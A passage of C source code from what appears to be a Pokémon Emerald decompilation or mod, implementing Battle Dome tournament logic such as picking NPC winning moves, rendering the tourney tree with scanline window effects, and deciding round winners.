Decides the winning move of an NPC vs NPC match static u16 GetWinningMove(int winnerTournamentId, int loserTournamentId, u8 roundId) { int i, j, k; int moveScores[MAX_MON_MOVES * FRONTIER_PARTY_SIZE]; u16 moveIds[MAX_MON_MOVES * FRONTIER_PARTY_SIZE]; u16 bestScore = 0; u16 bestId = 0; int movePower = 0; SetFacilityPtrsGetLevel(); // Calc move points of all 4 moves for all 3 Pokémon hitting all 3 target mons. for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { for (j = 0; j < MAX_MON_MOVES; j++) { // TODO: Clean this up, looks like a different data structure (2D array) moveScores[i * MAX_MON_MOVES + j] = 0; if (DOME_TRAINERS[winnerTournamentId].trainerId == TRAINER_FRONTIER_BRAIN) moveIds[i * MAX_MON_MOVES + j] = GetFrontierBrainMonMove(i, j); else moveIds[i * MAX_MON_MOVES + j] = gFacilityTrainerMons[DOME_MONS[winnerTournamentId][i]].moves[j]; movePower = gBattleMoves[moveIds[i * MAX_MON_MOVES + j]].power; if (movePower == 0) movePower = 40; else if (movePower == 1) movePower = 60; else if (moveIds[i * MAX_MON_MOVES + j] == MOVE_SELF_DESTRUCT || moveIds[i * MAX_MON_MOVES + j] == MOVE_EXPLOSION) movePower /= 2; for (k = 0; k < FRONTIER_PARTY_SIZE; k++) { u32 var = 0; u16 targetSpecies = SPECIES_NONE; u16 targetAbility = ABILITY_NONE; do { var = Random32(); } while (gFacilityTrainerMons[DOME_MONS[loserTournamentId][k]].nature != GetNatureFromPersonality(var)); targetSpecies = gFacilityTrainerMons[DOME_MONS[loserTournamentId][k]].species; if (var & 1) targetAbility = GetAbilityBySpecies(targetSpecies, 1); else targetAbility = GetAbilityBySpecies(targetSpecies, 0); var = AI_TypeCalc(moveIds[i * MAX_MON_MOVES + j], targetSpecies, targetAbility); if (var & MOVE_RESULT_NOT_VERY_EFFECTIVE && var & MOVE_RESULT_SUPER_EFFECTIVE) moveScores[i * MAX_MON_MOVES + j] += movePower; else if (var & MOVE_RESULT_NO_EFFECT) moveScores[i * MAX_MON_MOVES + j] += 0; else if (var & MOVE_RESULT_SUPER_EFFECTIVE) moveScores[i * MAX_MON_MOVES + j] += movePower * 2; else if (var & MOVE_RESULT_NOT_VERY_EFFECTIVE) moveScores[i * MAX_MON_MOVES + j] += movePower / 2; else moveScores[i * MAX_MON_MOVES + j] += movePower; } if (bestScore < moveScores[i * MAX_MON_MOVES + j]) { bestId = i * MAX_MON_MOVES + j; bestScore = moveScores[i * MAX_MON_MOVES + j]; } else if (bestScore == moveScores[i * MAX_MON_MOVES + j]) { if (moveIds[bestId] < moveIds[i * MAX_MON_MOVES + j]) // Why not use (Random() & 1) instead of promoting moves with a higher id? bestId = i * MAX_MON_MOVES + j; } } } j = bestId; do { for (i = 0; i < roundId - 1; i++) { if (gSaveBlock2Ptr->frontier.domeWinningMoves[GetOpposingNPCTournamentIdByRound(winnerTournamentId, i)] == moveIds[j]) break; } if (i != roundId - 1) { moveScores[j] = 0; bestScore = 0; j = 0; for (k = 0; k < MAX_MON_MOVES * FRONTIER_PARTY_SIZE; k++) j += moveScores[k]; if (j == 0) break; j = 0; for (k = 0; k < MAX_MON_MOVES * FRONTIER_PARTY_SIZE; k++) { if (bestScore < moveScores[k]) { j = k; bestScore = moveScores[k]; } else if (bestScore == moveScores[k] && moveIds[j] < moveIds[k]) // Yes, these conditions are redundant { j = k; bestScore = moveScores[k]; } } } } while (i != roundId - 1); if (moveScores[j] == 0) j = bestId; return moveIds[j]; } static void Task_ShowTourneyTree(u8 taskId) { int i; struct TextPrinterTemplate textPrinter; int notInteractive = gTasks[taskId].tNotInteractive; int r4 = gTasks[taskId].data[2]; switch (gTasks[taskId].tState) { case 0: SetHBlankCallback(NULL); SetVBlankCallback(NULL); EnableInterrupts(INTR_FLAG_HBLANK | INTR_FLAG_VBLANK); CpuFill32(0, (void *)VRAM, VRAM_SIZE); ResetBgsAndClearDma3BusyFlags(0); InitBgsFromTemplates(0, sTourneyTreeBgTemplates, ARRAY_COUNT(sTourneyTreeBgTemplates)); InitWindows(sTourneyTreeWindowTemplates); DeactivateAllTextPrinters(); gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; ChangeBgX(2, 0, BG_COORD_SET); ChangeBgY(2, 0, BG_COORD_SET); ChangeBgX(3, 0, BG_COORD_SET); ChangeBgY(3, 0xB00, BG_COORD_SET); gTasks[taskId].tState++; break; case 1: SetGpuReg(REG_OFFSET_BLDCNT, 0); SetGpuReg(REG_OFFSET_BLDALPHA, 0); SetGpuReg(REG_OFFSET_BLDY, 0); SetGpuReg(REG_OFFSET_MOSAIC, 0); SetGpuReg(REG_OFFSET_WIN0H, WIN_RANGE(88, 96)); SetGpuReg(REG_OFFSET_WIN0V, WIN_RANGE(0, DISPLAY_HEIGHT - 1)); SetGpuReg(REG_OFFSET_WIN1H, WIN_RANGE(144, 152)); SetGpuReg(REG_OFFSET_WIN1V, WIN_RANGE(0, DISPLAY_HEIGHT - 1)); SetGpuReg(REG_OFFSET_WININ, 0); SetGpuReg(REG_OFFSET_WINOUT, WINOUT_WIN01_BG_ALL | WINOUT_WIN01_OBJ | WINOUT_WIN01_CLR); ResetPaletteFade(); ResetSpriteData(); FreeAllSpritePalettes(); gTasks[taskId].tState++; break; case 2: sTilemapBuffer = AllocZeroed(BG_SCREEN_SIZE); LZDecompressWram(gDomeTourneyTree_Tilemap, sTilemapBuffer); SetBgTilemapBuffer(1, sTilemapBuffer); CopyBgTilemapBufferToVram(1); DecompressAndLoadBgGfxUsingHeap(1, gDomeTourneyTree_Gfx, 0x2000, 0, 0); DecompressAndLoadBgGfxUsingHeap(2, gDomeTourneyLine_Gfx, 0x2000, 0, 0); DecompressAndLoadBgGfxUsingHeap(2, gDomeTourneyLineDown_Tilemap, 0x2000, 0, 1); DecompressAndLoadBgGfxUsingHeap(3, gDomeTourneyLineUp_Tilemap, 0x2000, 0, 1); LoadCompressedPalette(gDomeTourneyTree_Pal, BG_PLTT_OFFSET, BG_PLTT_SIZE); LoadCompressedPalette(gDomeTourneyTreeButtons_Pal, OBJ_PLTT_OFFSET, OBJ_PLTT_SIZE); LoadCompressedPalette(gBattleWindowTextPalette, BG_PLTT_ID(15), PLTT_SIZE_4BPP); CpuFill32(0, gPlttBufferFaded, PLTT_SIZE); ShowBg(0); ShowBg(1); ShowBg(2); ShowBg(3); gTasks[taskId].tState++; break; case 3: LoadCompressedSpriteSheet(sTourneyTreeButtonsSpriteSheet); if (notInteractive == FALSE) { for (i = 0; i < ARRAY_COUNT(sTourneyTreePokeballCoords); i++) CreateSprite(&sTourneyTreePokeballSpriteTemplate, sTourneyTreePokeballCoords[i][0], sTourneyTreePokeballCoords[i][1], 0); if (gTasks[taskId].tIsPrevTourneyTree) CreateSprite(&sExitButtonSpriteTemplate, 218, 12, 0); else CreateSprite(&sCancelButtonSpriteTemplate, 218, 12, 0); } SetGpuReg(REG_OFFSET_DISPCNT, DISPCNT_BG_ALL_ON | DISPCNT_OBJ_ON | DISPCNT_WIN0_ON | DISPCNT_WIN1_ON | DISPCNT_OBJ_1D_MAP); gTasks[taskId].tState++; break; case 4: textPrinter.fontId = FONT_SHORT; textPrinter.currentChar = gText_BattleTourney; textPrinter.windowId = 2; textPrinter.x = 0; textPrinter.y = 0; textPrinter.letterSpacing = 2; textPrinter.lineSpacing = 0; textPrinter.currentX = GetStringCenterAlignXOffsetWithLetterSpacing(textPrinter.fontId, textPrinter.currentChar, 0x70, textPrinter.letterSpacing); textPrinter.currentY = 1; textPrinter.unk = 0; textPrinter.fgColor = TEXT_DYNAMIC_COLOR_5; textPrinter.bgColor = TEXT_COLOR_TRANSPARENT; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; AddTextPrinter(&textPrinter, 0, NULL); for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { int roundId, var2; CopyDomeTrainerName(gDisplayedStringBattle, DOME_TRAINERS[i].trainerId); if (notInteractive == TRUE) { if (DOME_TRAINERS[i].isEliminated) { if (DOME_TRAINERS[i].eliminatedAt != DOME_ROUND1) { var2 = DOME_TRAINERS[i].eliminatedAt - 1; DrawTourneyAdvancementLine(i, var2); } } else if (gSaveBlock2Ptr->frontier.curChallengeBattleNum != DOME_ROUND2) { DrawTourneyAdvancementLine(i, gSaveBlock2Ptr->frontier.curChallengeBattleNum - 2); } } else if (notInteractive == FALSE) { if (DOME_TRAINERS[i].isEliminated) { if (DOME_TRAINERS[i].eliminatedAt != DOME_ROUND1) { var2 = DOME_TRAINERS[i].eliminatedAt - 1; DrawTourneyAdvancementLine(i, var2); } } else if (gSaveBlock2Ptr->frontier.curChallengeBattleNum != DOME_ROUND1) { if (gTasks[taskId].tIsPrevTourneyTree) var2 = gSaveBlock2Ptr->frontier.curChallengeBattleNum; else var2 = gSaveBlock2Ptr->frontier.curChallengeBattleNum - 1; DrawTourneyAdvancementLine(i, var2); } } if (gTasks[taskId].tIsPrevTourneyTree) roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum; else roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum - 1; if ( ((notInteractive == TRUE && DOME_TRAINERS[i].eliminatedAt < gSaveBlock2Ptr->frontier.curChallengeBattleNum - 1) || (notInteractive == FALSE && DOME_TRAINERS[i].eliminatedAt <= roundId)) && DOME_TRAINERS[i].isEliminated) { if (DOME_TRAINERS[i].trainerId == TRAINER_PLAYER) { textPrinter.fgColor = TEXT_COLOR_LIGHT_GRAY; textPrinter.shadowColor = TEXT_COLOR_RED; } else { textPrinter.fgColor = TEXT_DYNAMIC_COLOR_2; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; } } else { if (DOME_TRAINERS[i].trainerId == TRAINER_PLAYER) { textPrinter.fgColor = TEXT_COLOR_LIGHT_GRAY; textPrinter.shadowColor = TEXT_COLOR_RED; } else { textPrinter.fgColor = TEXT_DYNAMIC_COLOR_5; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; } } if (sTrainerNamePositions[i][0] == 0) textPrinter.currentX = GetStringWidthDifference(textPrinter.fontId, gDisplayedStringBattle, 0x3D, textPrinter.letterSpacing); else textPrinter.currentX = 3; textPrinter.currentChar = gDisplayedStringBattle; textPrinter.windowId = sTrainerNamePositions[i][0]; textPrinter.currentY = sTrainerNamePositions[i][1]; AddTextPrinter(&textPrinter, 0, NULL); } gTasks[taskId].tState++; break; case 5: PutWindowTilemap(0); PutWindowTilemap(1); PutWindowTilemap(2); CopyWindowToVram(0, COPYWIN_FULL); CopyWindowToVram(1, COPYWIN_FULL); CopyWindowToVram(2, COPYWIN_FULL); SetHBlankCallback(HblankCb_TourneyTree); SetVBlankCallback(VblankCb_TourneyTree); if (r4 == 2) { if (notInteractive == FALSE) { i = CreateTask(Task_HandleTourneyTreeInput, 0); gTasks[i].data[0] = notInteractive; gTasks[i].data[1] = notInteractive; gTasks[i].data[6] = gTasks[taskId].tIsPrevTourneyTree; } else { i = CreateTask(Task_HandleStaticTourneyTreeInput, 0); gTasks[i].data[0] = 0; } } else { i = gTasks[taskId].data[3]; gTasks[i].tState = 0; } ScanlineEffect_Clear(); i = 0; while (i < 91) { gScanlineEffectRegBuffers[0][i] = BGCNT_PRIORITY(2) | BGCNT_SCREENBASE(31) | BGCNT_16COLOR | BGCNT_CHARBASE(2) | BGCNT_TXT256x256; gScanlineEffectRegBuffers[1][i] = BGCNT_PRIORITY(2) | BGCNT_SCREENBASE(31) | BGCNT_16COLOR | BGCNT_CHARBASE(2) | BGCNT_TXT256x256; i++; } while (i < 160) { gScanlineEffectRegBuffers[0][i] = BGCNT_PRIORITY(1) | BGCNT_SCREENBASE(31) | BGCNT_16COLOR | BGCNT_CHARBASE(2) | BGCNT_TXT256x256; gScanlineEffectRegBuffers[1][i] = BGCNT_PRIORITY(1) | BGCNT_SCREENBASE(31) | BGCNT_16COLOR | BGCNT_CHARBASE(2) | BGCNT_TXT256x256; i++; } ScanlineEffect_SetParams(sTourneyTreeScanlineEffectParams); DestroyTask(taskId); break; } } static void DrawTourneyAdvancementLine(u8 tournamentId, u8 roundId) { int i; const struct TourneyTreeLineSection *lineSection = sTourneyTreeLineSections[tournamentId][roundId]; for (i = 0; i < sTourneyTreeLineSectionArrayCounts[tournamentId][roundId]; i++) CopyToBgTilemapBufferRect_ChangePalette(1, &lineSection[i].tile, lineSection[i].x, lineSection[i].y, 1, 1, 17); CopyBgTilemapBufferToVram(1); } #define STATE_FADE_IN 0 #define STATE_SHOW_RESULTS 1 #define STATE_DELAY 2 #define STATE_WAIT_FOR_INPUT 3 #define STATE_CLOSE_TOURNEY_TREE 4 // The non-interactive tourney tree that's shown when a round is completed static void Task_HandleStaticTourneyTreeInput(u8 taskId) { int i; struct TextPrinterTemplate textPrinter; switch (gTasks[taskId].tState) { case STATE_FADE_IN: BeginNormalPaletteFade(PALETTES_ALL, 0, 0x10, 0, RGB_BLACK); gTasks[taskId].tState = STATE_SHOW_RESULTS; break; case STATE_SHOW_RESULTS: if (!gPaletteFade.active) { gTasks[taskId].tState = STATE_DELAY; gTasks[taskId].data[3] = 64; textPrinter.fontId = FONT_SHORT; textPrinter.x = 0; textPrinter.y = 0; textPrinter.letterSpacing = 2; textPrinter.lineSpacing = 0; textPrinter.unk = 0; textPrinter.fgColor = TEXT_DYNAMIC_COLOR_2; textPrinter.bgColor = TEXT_COLOR_TRANSPARENT; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; // Update the advancement lines and gray out eliminated trainer names for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { CopyDomeTrainerName(gDisplayedStringBattle, DOME_TRAINERS[i].trainerId); if (DOME_TRAINERS[i].eliminatedAt == gSaveBlock2Ptr->frontier.curChallengeBattleNum - 1 && DOME_TRAINERS[i].isEliminated) { if (sTrainerNamePositions[i][0] == 0) textPrinter.currentX = GetStringWidthDifference(textPrinter.fontId, gDisplayedStringBattle, 0x3D, textPrinter.letterSpacing); else textPrinter.currentX = 3; textPrinter.currentChar = gDisplayedStringBattle; textPrinter.windowId = sTrainerNamePositions[i][0]; textPrinter.currentY = sTrainerNamePositions[i][1]; AddTextPrinter(&textPrinter, 0, NULL); } if (!DOME_TRAINERS[i].isEliminated) { int roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum - 1; DrawTourneyAdvancementLine(i, roundId); } } } break; case STATE_DELAY: if (--gTasks[taskId].data[3] == 0) gTasks[taskId].tState = STATE_WAIT_FOR_INPUT; break; case STATE_WAIT_FOR_INPUT: if (JOY_NEW(A_BUTTON | B_BUTTON)) { BeginNormalPaletteFade(PALETTES_ALL, 0, 0, 0x10, RGB_BLACK); gTasks[taskId].tState = STATE_CLOSE_TOURNEY_TREE; } break; case STATE_CLOSE_TOURNEY_TREE: if (!gPaletteFade.active) { SetMainCallback2(CB2_ReturnToFieldContinueScriptPlayMapMusic); DestroyTask(taskId); } break; } } #undef STATE_FADE_IN #undef STATE_SHOW_RESULTS #undef STATE_DELAY #undef STATE_WAIT_FOR_INPUT #undef STATE_CLOSE_TOURNEY_TREE static void CB2_TourneyTree(void) { AnimateSprites(); BuildOamBuffer(); RunTextPrinters(); UpdatePaletteFade(); RunTasks(); } static void VblankCb_TourneyInfoCard(void) { ChangeBgX(3, 0x80, BG_COORD_ADD); ChangeBgY(3, 0x80, BG_COORD_SUB); SetGpuReg(REG_OFFSET_BG0HOFS, gBattle_BG0_X); SetGpuReg(REG_OFFSET_BG0VOFS, gBattle_BG0_Y); SetGpuReg(REG_OFFSET_BG1HOFS, gBattle_BG1_X); SetGpuReg(REG_OFFSET_BG1VOFS, gBattle_BG1_Y); SetGpuReg(REG_OFFSET_BG2HOFS, gBattle_BG2_X); SetGpuReg(REG_OFFSET_BG2VOFS, gBattle_BG2_Y); LoadOam(); ProcessSpriteCopyRequests(); TransferPlttBuffer(); } #define SET_WIN0H_WIN1H(win0H, win1H) \ { \ *(vu32*)(REG_ADDR_WIN0H) = ((win0H << 16) | (win1H)); \ } static void HblankCb_TourneyTree(void) { u16 vCount = REG_VCOUNT; if (vCount < 42) { REG_WININ = WININ_WIN0_BG_ALL | WININ_WIN0_CLR | WININ_WIN0_OBJ | WININ_WIN1_BG_ALL | WININ_WIN1_CLR | WININ_WIN1_OBJ; SET_WIN0H_WIN1H(0, 0); } else if (vCount < 50) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG3 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG3 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(152, 155), WIN_RANGE(85, 88)); } else if (vCount < 58) { REG_WININ = WININ_WIN0_BG_ALL | WININ_WIN0_CLR | WININ_WIN0_OBJ | WININ_WIN1_BG_ALL | WININ_WIN1_CLR | WININ_WIN1_OBJ; SET_WIN0H_WIN1H(0, 0); } else if (vCount < 75) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG3 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG3 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(144, 152), WIN_RANGE(88, 96)); } else if (vCount < 82) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG3 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG3 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(152, 155), WIN_RANGE(85, 88)); } else if (vCount < 95) { REG_WININ = WININ_WIN0_BG_ALL | WININ_WIN0_CLR | WININ_WIN0_OBJ | WININ_WIN1_BG_ALL | WININ_WIN1_CLR | WININ_WIN1_OBJ; SET_WIN0H_WIN1H(0, 0); } else if (vCount < 103) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG2 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG2 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(152, 155), WIN_RANGE(85, 88)); } else if (vCount < 119) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG2 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG2 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(144, 152), WIN_RANGE(88, 96)); } else if (vCount < 127) { REG_WININ = WININ_WIN0_BG_ALL | WININ_WIN0_CLR | WININ_WIN0_OBJ | WININ_WIN1_BG_ALL | WININ_WIN1_CLR | WININ_WIN1_OBJ; SET_WIN0H_WIN1H(0, 0); } else if (vCount < 135) { REG_WININ = WININ_WIN0_BG0 | WININ_WIN0_BG1 | WININ_WIN0_BG2 | WININ_WIN0_OBJ | WININ_WIN0_CLR | WININ_WIN1_BG0 | WININ_WIN1_BG1 | WININ_WIN1_BG2 | WININ_WIN1_OBJ | WININ_WIN1_CLR; SET_WIN0H_WIN1H(WIN_RANGE(152, 155), WIN_RANGE(85, 88)); } else { REG_WININ = WININ_WIN0_BG_ALL | WININ_WIN0_CLR | WININ_WIN0_OBJ | WININ_WIN1_BG_ALL | WININ_WIN1_CLR | WININ_WIN1_OBJ; SET_WIN0H_WIN1H(0, 0); } } static void VblankCb_TourneyTree(void) { SetGpuReg(REG_OFFSET_BG0HOFS, gBattle_BG0_X); SetGpuReg(REG_OFFSET_BG0VOFS, gBattle_BG0_Y); SetGpuReg(REG_OFFSET_BG1HOFS, gBattle_BG1_X); SetGpuReg(REG_OFFSET_BG1VOFS, gBattle_BG1_Y); ChangeBgY(2, 0x80, BG_COORD_SUB); ChangeBgY(3, 0x80, BG_COORD_ADD); LoadOam(); ProcessSpriteCopyRequests(); TransferPlttBuffer(); ScanlineEffect_InitHBlankDmaTransfer(); } static void SetFacilityTrainerAndMonPtrs(void) { if (gSaveBlock2Ptr->optionStyle == 1) //off gFacilityTrainerMons = gBattleFrontierMons; else if (gSaveBlock2Ptr->optionStyle == 0) //on gFacilityTrainerMons = gBattleFrontierMonsSplit; gFacilityTrainers = gBattleFrontierTrainers; } static void ResetSketchedMoves(void) { int i, moveSlot; for (i = 0; i < DOME_BATTLE_PARTY_SIZE; i++) { int playerMonId = gSaveBlock2Ptr->frontier.selectedPartyMons[gSelectedOrderFromParty[i] - 1] - 1; int count; for (moveSlot = 0; moveSlot < MAX_MON_MOVES; moveSlot++) { count = 0; while (count < MAX_MON_MOVES) { if (GetMonData(&gSaveBlock1Ptr->playerParty[playerMonId], MON_DATA_MOVE1 + count, NULL) == GetMonData(&gPlayerParty[i], MON_DATA_MOVE1 + moveSlot, NULL)) break; count++; } if (count == MAX_MON_MOVES) SetMonMoveSlot(&gPlayerParty[i], MOVE_SKETCH, moveSlot); } gSaveBlock1Ptr->playerParty[playerMonId] = gPlayerParty[i]; } } static void RestoreDomePlayerPartyHeldItems(void) { int i; for (i = 0; i < DOME_BATTLE_PARTY_SIZE; i++) { int playerMonId = gSaveBlock2Ptr->frontier.selectedPartyMons[gSelectedOrderFromParty[i] - 1] - 1; u16 item = GetMonData(&gSaveBlock1Ptr->playerParty[playerMonId], MON_DATA_HELD_ITEM, NULL); SetMonData(&gPlayerParty[i], MON_DATA_HELD_ITEM, &item); } } static void ReduceDomePlayerPartyToSelectedMons(void) { ReducePlayerPartyToSelectedMons(); } static void GetPlayerSeededBeforeOpponent(void) { // A higher tournament ID is a worse seed if (TrainerIdToTournamentId(gTrainerBattleOpponent_A) > TrainerIdToTournamentId(TRAINER_PLAYER)) gSpecialVar_Result = 1; else gSpecialVar_Result = 2; } static void BufferLastDomeWinnerName(void) { int i; SetFacilityTrainerAndMonPtrs(); for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (!DOME_TRAINERS[i].isEliminated) break; } CopyDomeTrainerName(gStringVar1, DOME_TRAINERS[i].trainerId); } // For showing the previous tourney results before the player has entered a challenge static void InitRandomTourneyTreeResults(void) { int i, j, k; int monLevel; int species[FRONTIER_PARTY_SIZE]; int monTypesBits; int trainerId; int monId; int zero1; int zero2; u8 lvlMode; u16 *statSums; int *statValues; u8 ivs = 0; species[0] = 0; species[1] = 0; species[2] = 0; if ((gSaveBlock2Ptr->frontier.domeLvlMode != -gSaveBlock2Ptr->frontier.domeBattleMode) && gSaveBlock2Ptr->frontier.challengeStatus != CHALLENGE_STATUS_SAVING) return; statSums = AllocZeroed(sizeof(u16) * DOME_TOURNAMENT_TRAINERS_COUNT); statValues = AllocZeroed(sizeof(int) * NUM_STATS); lvlMode = gSaveBlock2Ptr->frontier.lvlMode; gSaveBlock2Ptr->frontier.lvlMode = FRONTIER_LVL_50; zero1 = 0; zero2 = 0; gSaveBlock2Ptr->frontier.domeLvlMode = zero1 + 1; gSaveBlock2Ptr->frontier.domeBattleMode = zero2 + 1; for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { do { if (i < 5) trainerId = Random() % 10; else if (i < 15) trainerId = Random() % 20 + 10; else trainerId = Random() % 10 + 30; for (j = 0; j < i; j++) { if (DOME_TRAINERS[j].trainerId == trainerId) break; } } while (j != i); DOME_TRAINERS[i].trainerId = trainerId; for (j = 0; j < FRONTIER_PARTY_SIZE; j++) { do { monId = GetRandomFrontierMonFromSet(trainerId); for (k = 0; k < j; k++) { // Make sure the mon is valid. int alreadySelectedMonId = DOME_MONS[i][k]; if (alreadySelectedMonId == monId || species[0] == gFacilityTrainerMons[monId].species || species[1] == gFacilityTrainerMons[monId].species || gFacilityTrainerMons[alreadySelectedMonId].itemTableId == gFacilityTrainerMons[monId].itemTableId) break; } } while (k != j); DOME_MONS[i][j] = monId; species[j] = gFacilityTrainerMons[monId].species; } DOME_TRAINERS[i].isEliminated = FALSE; DOME_TRAINERS[i].eliminatedAt = 0; DOME_TRAINERS[i].forfeited = FALSE; } monLevel = FRONTIER_MAX_LEVEL_50; for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { monTypesBits = 0; statSums[i] = 0; ivs = GetDomeTrainerMonIvs(DOME_TRAINERS[i].trainerId); for (j = 0; j < FRONTIER_PARTY_SIZE; j++) { CalcDomeMonStats(gFacilityTrainerMons[DOME_MONS[i][j]].species, monLevel, ivs, gFacilityTrainerMons[DOME_MONS[i][j]].evSpread, gFacilityTrainerMons[DOME_MONS[i][j]].nature, statValues); statSums[i] += statValues[STAT_ATK]; statSums[i] += statValues[STAT_DEF]; statSums[i] += statValues[STAT_SPATK]; statSums[i] += statValues[STAT_SPDEF]; statSums[i] += statValues[STAT_SPEED]; statSums[i] += statValues[STAT_HP]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types[0]]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types[1]]; } // Because GF hates temporary vars, trainerId acts like monTypesCount here. for (trainerId = 0, j = 0; j < 32; j++) { if (monTypesBits & 1) trainerId++; monTypesBits >>= 1; } statSums[i] += (trainerId * monLevel) / 20; } for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT - 1; i++) { for (j = i + 1; j < DOME_TOURNAMENT_TRAINERS_COUNT; j++) { if (statSums[i] < statSums[j]) { SwapDomeTrainers(i, j, statSums); } else if (statSums[i] == statSums[j]) { if (DOME_TRAINERS[i].trainerId > DOME_TRAINERS[j].trainerId) SwapDomeTrainers(i, j, statSums); } } } Free(statSums); Free(statValues); for (i = 0; i < DOME_ROUNDS_COUNT; i++) DecideRoundWinners(i); gSaveBlock2Ptr->frontier.lvlMode = lvlMode; } static int TrainerIdToTournamentId(u16 trainerId) { int i; for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (DOME_TRAINERS[i].trainerId == trainerId) break; } return i; } // The same as the above one, but has global scope. int TrainerIdToDomeTournamentId(u16 trainerId) { int i; for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (DOME_TRAINERS[i].trainerId == trainerId) break; } return i; } static u8 GetOpposingNPCTournamentIdByRound(u8 tournamentId, u8 round) { u8 tournamentIds[2]; BufferDomeWinString(sTrainerAndRoundToLastMatchCardNum[sTournamentIdToPairedTrainerIds[tournamentId] / 2][round] - 16, tournamentIds); if (tournamentId == tournamentIds[0]) return tournamentIds[1]; else return tournamentIds[0]; } // Determines which trainers won in the NPC vs NPC battles static void DecideRoundWinners(u8 roundId) { int i; int moveSlot, monId1, monId2; int tournamentId1, tournamentId2; int species; int points1 = 0, points2 = 0; for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (DOME_TRAINERS[i].isEliminated || DOME_TRAINERS[i].trainerId == TRAINER_PLAYER) continue; tournamentId1 = i; tournamentId2 = TournamentIdOfOpponent(roundId, DOME_TRAINERS[tournamentId1].trainerId); // Frontier Brain always wins, check tournamentId1. if (DOME_TRAINERS[tournamentId1].trainerId == TRAINER_FRONTIER_BRAIN && tournamentId2 != 0xFF) { DOME_TRAINERS[tournamentId2].isEliminated = TRUE; DOME_TRAINERS[tournamentId2].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId2] = GetWinningMove(tournamentId1, tournamentId2, roundId); } // Frontier Brain always wins, check tournamentId2. else if (DOME_TRAINERS[tournamentId2].trainerId == TRAINER_FRONTIER_BRAIN && tournamentId1 != 0xFF) { DOME_TRAINERS[tournamentId1].isEliminated = TRUE; DOME_TRAINERS[tournamentId1].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId1] = GetWinningMove(tournamentId2, tournamentId1, roundId); } // Decide which one of two trainers wins! else if (tournamentId2 != 0xFF) { // BUG: points1 and points2 are not cleared at the beginning of the loop resulting in not fair results. #ifdef BUGFIX points1 = 0; points2 = 0; #endif // Calculate points for both trainers. for (monId1 = 0; monId1 < FRONTIER_PARTY_SIZE; monId1++) { for (moveSlot = 0; moveSlot < MAX_MON_MOVES; moveSlot++) { for (monId2 = 0; monId2 < FRONTIER_PARTY_SIZE; monId2++) { points1 += GetTypeEffectivenessPoints(gFacilityTrainerMons[DOME_MONS[tournamentId1][monId1]].moves[moveSlot], gFacilityTrainerMons[DOME_MONS[tournamentId2][monId2]].species, EFFECTIVENESS_MODE_AI_VS_AI); } } species = gFacilityTrainerMons[DOME_MONS[tournamentId1][monId1]].species; if (gSaveBlock1Ptr->tx_Challenges_BaseStatEqualizer) points1 += 60; else { points1 += ( gSpeciesInfo[species].baseHP + gSpeciesInfo[species].baseAttack + gSpeciesInfo[species].baseDefense + gSpeciesInfo[species].baseSpeed + gSpeciesInfo[species].baseSpAttack + gSpeciesInfo[species].baseSpDefense) / 10; } } // Random part of the formula. points1 += (Random() & 0x1F); // Favor trainers with higher id; points1 += tournamentId1; for (monId1 = 0; monId1 < FRONTIER_PARTY_SIZE; monId1++) { for (moveSlot = 0; moveSlot < MAX_MON_MOVES; moveSlot++) { for (monId2 = 0; monId2 < FRONTIER_PARTY_SIZE; monId2++) { points2 += GetTypeEffectivenessPoints(gFacilityTrainerMons[DOME_MONS[tournamentId2][monId1]].moves[moveSlot], gFacilityTrainerMons[DOME_MONS[tournamentId1][monId2]].species, EFFECTIVENESS_MODE_AI_VS_AI); } } species 